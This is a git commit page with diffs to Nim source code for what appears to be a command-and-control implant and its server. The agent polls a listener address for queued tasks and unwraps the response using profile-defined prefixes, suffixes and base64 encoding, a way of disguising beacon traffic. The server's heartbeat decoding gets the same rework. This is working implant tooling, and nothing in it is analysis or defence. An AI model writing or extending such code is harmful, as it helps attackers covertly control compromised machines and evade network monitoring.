Implemented server output encoding for task retrieval.
This commit is contained in:
@@ -48,8 +48,24 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
||||
|
||||
try:
|
||||
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
|
||||
return waitFor client.getContent(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint[0..^2]}")
|
||||
let responseBody = waitFor client.getContent(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint[0..^2]}")
|
||||
|
||||
# Return if no tasks are queued
|
||||
if responseBody.len <= 0:
|
||||
return ""
|
||||
|
||||
# In case that tasks are found, apply data transformation to server's response body to get thr raw data
|
||||
let
|
||||
prefix = ctx.profile.getString("http-get.server.output.prefix")
|
||||
suffix = ctx.profile.getString("http-get.server.output.suffix")
|
||||
encResponse = responseBody[len(prefix) ..^ len(suffix) + 1]
|
||||
|
||||
case ctx.profile.getString("http-get.server.output.encoding.type", default = "none"):
|
||||
of "base64":
|
||||
return decode(encResponse)
|
||||
of "none":
|
||||
return encResponse
|
||||
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
echo "[-] " & err.msg
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -43,10 +43,10 @@ proc httpGet*(ctx: Context) {.async.} =
|
||||
else: discard
|
||||
|
||||
# Retrieve and apply data transformation to get raw heartbeat packet
|
||||
let prefix = cq.profile.getString("http-get.agent.heartbeat.prefix")
|
||||
let suffix = cq.profile.getString("http-get.agent.heartbeat.suffix")
|
||||
|
||||
let encHeartbeat = heartbeatString[len(prefix) ..^ len(suffix) + 1]
|
||||
let
|
||||
prefix = cq.profile.getString("http-get.agent.heartbeat.prefix")
|
||||
suffix = cq.profile.getString("http-get.agent.heartbeat.suffix")
|
||||
encHeartbeat = heartbeatString[len(prefix) ..^ len(suffix) + 1]
|
||||
|
||||
case cq.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none"):
|
||||
of "base64":
|
||||
|
||||
Reference in New Issue
Block a user